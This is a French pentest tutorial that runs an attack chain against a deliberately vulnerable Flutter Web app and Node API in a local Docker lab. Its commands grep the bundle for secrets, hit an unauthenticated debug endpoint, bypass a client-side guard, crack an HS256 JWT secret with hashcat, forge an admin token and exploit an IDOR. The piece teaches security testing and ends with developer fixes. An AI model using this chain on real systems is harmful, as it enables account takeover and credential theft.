Cloud, mobile et IoT — Démonstration guidée
On applique concrètement, sur une app Flutter volontairement vulnérable, le raisonnement pentest mobile de 2026 : le client n'est jamais une frontière de sécurité, tout ce qui vit sur le téléphone finit par sortir et le vrai contrôle est côté API.
Ce que vous saurez faire
- Reconnaître les cinq défauts classiques d'une app Flutter mal codée en les identifiant depuis le bundle et depuis le comportement de l'API.
- Enchaîner ces défauts en une chaîne courte et une chaîne longue.
- Savoir quoi documenter dans le rapport et quelle correction attendre du développeur.
Mise en place
L'atelier utilise un lab Docker sous
labs/docker/module-11-mobile-flutter/. Trois conteneurs :
app— nginx qui sert le build Flutter Web surhttp://localhost:8080.api— backend Node/Express surhttp://localhost:3000.attaquant— station Kali (imageinskillsec/kali-lab) sur le réseau interne10.20.40.0/24.
Depuis le repo :
cd labs/docker/module-11-mobile-flutter
docker compose up -d
Vérifiez :
curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}
Ouvrez http://localhost:8080 dans votre navigateur : vous voyez la
page de login de l'app Flutter Web.
Le déroulé, pas à pas
1. Recon visuelle — DevTools ouvert
Chargez la page, ouvrez l'onglet Network avant de vous connecter.
Cliquez sur le bouton Sign in. Vous voyez un POST sur
http://localhost:3000/api/auth/login avec un body JSON
{"email":"...","password":"..."}. Notez déjà le domaine, le port,
et la structure du body : c'est votre carte de l'API.
2. Grep du bundle
L'app Flutter Web charge main.dart.js. Récupérez-le à la main :
curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js
Sortie attendue :
var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';
Trois découvertes en une commande :
- L'URL de l'API (vous l'aviez déjà par DevTools mais ce chemin marche aussi sans navigateur).
- Une clé API premium qui n'aurait jamais dû être dans le client.
- Un endpoint de debug que le développeur a mis là « pour tester » et qu'il a oublié.
Pourquoi cet endpoint de debug est un piège
Sur une app Flutter réelle, ce genre de string ressort d'un dump
reFlutter ou blutter du fichier libapp.so de l'APK. Le résultat
est identique : le développeur croit que les constantes Dart sont
« compilées », un attaquant les récupère en une commande. La leçon
est indépendante de la plateforme.
3. Chemin court — /api/debug/env
Le path /api/debug/env n'est pas dans la logique de l'app, il ne
demande aucune authentification. Vous êtes techniquement déjà à
destination :
curl -s http://localhost:3000/api/debug/env
Sortie attendue :
{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}
Vous avez déjà le flag. Dans un rapport pentest, ce serait le finding n°1, exploitable par n'importe qui, chiffré Critique. Documentez.
4. Bypass client-side — dashboard sans compte
Retour dans le navigateur. Vous n'avez aucun token. Ouvrez la console DevTools et faites :
localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';
Le dashboard s'affiche. Mais après une seconde, il bascule sur « Session expired » et vous renvoie au login. Pourquoi ?
- La garde client-side (
AuthService.isAuthenticated()) regarde seulementlocalStorage.auth_token !== null. Le simple fait d'écrire une valeur bidon fait passer le check. - L'appel
GET /api/meavec le token bidon renvoie un401, la page détecte et redirige.
Leçon pédagogique : la garde client sert au design, pas à la sécurité. Un développeur qui l'utilise seule pense être protégé, il ne l'est pas.
5. Chemin long — crackage HS256 + forge admin
Créez d'abord un compte normal pour capturer un JWT :
curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Extrayez le token. Décodez le header et le payload :
TOKEN="<token retourne>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}
Le header dit HS256 : la signature est un HMAC SHA-256 sur
header.payload avec un secret partagé. Ce secret vit uniquement côté
serveur, mais s'il est faible, on peut le retrouver par force brute
offline :
echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Le mot cassé est s3cr3t2025. Vérifiez ensuite avec openssl que la
signature de votre token correspond bien à ce secret (facultatif mais
pédagogique) :
HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Doit coincider avec ce qui suit le second point dans $TOKEN.
Vous forgez maintenant un token avec role=admin, sub=1 :
NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"
6. IDOR — dump du mot de passe admin en clair
Vous n'avez même pas besoin du JWT forgé pour l'IDOR : le token normal d'eve suffit, l'API ne vérifie pas la propriété.
curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Sortie attendue :
{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}
Le mot de passe est en clair côté backend — deuxième trou majeur à documenter. Sur un vrai backend, ce serait un hash bcrypt, mais beaucoup d'apps mobiles amateurs stockent en clair côté serveur.
7. Accès admin — le flag par la porte
Enfin, l'endpoint admin :
curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Sortie attendue :
{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}
Même flag que le chemin court, mais obtenu par la porte : c'est ce qu'un vrai pentesteur ferait pour prouver la chaîne complète et pas juste la fuite triviale.
Lire la sortie
Trois signaux que vous devez pouvoir énoncer devant un client :
- Toute constante Dart finit dans le binaire. Si votre back exige
un secret, il n'a rien à faire dans le client mobile. Sur le
bundle Flutter Web comme dans un
.apk, une bête recherche textuelle suffit. - HS256 est cassable dès que le secret n'est pas une entrée de
générateur aléatoire.
s3cr3t2025tombe en secondes. Un secret fort mesure au moins 32 octets aléatoires, encodés en base64. Encore mieux : passer à RS256 avec une paire de clés, la clé privée reste côté serveur. - IDOR = auth sans autorisation. Un token valide n'est pas une
permission. Chaque endpoint qui accepte un
:iddoit vérifier que l'appelant possède ou peut voir la ressource.
Là où cela dérape
- Vous tapez le mauvais
curlet l'API renvoieMissing token. Vérifiez le formatAuthorization: Bearer <token>, pas de guillemets superflus. - Le crackage hashcat vous dit
Line-length exception: votre fichier ne contient qu'une ligne, mais elle doit être le JWT entier (trois parties séparées par des points), pas juste la signature. - L'IDOR renvoie
404: vérifiez que l'ID demandé existe.1,2,3sont les seeds ; les IDs suivants sont vos propres inscriptions.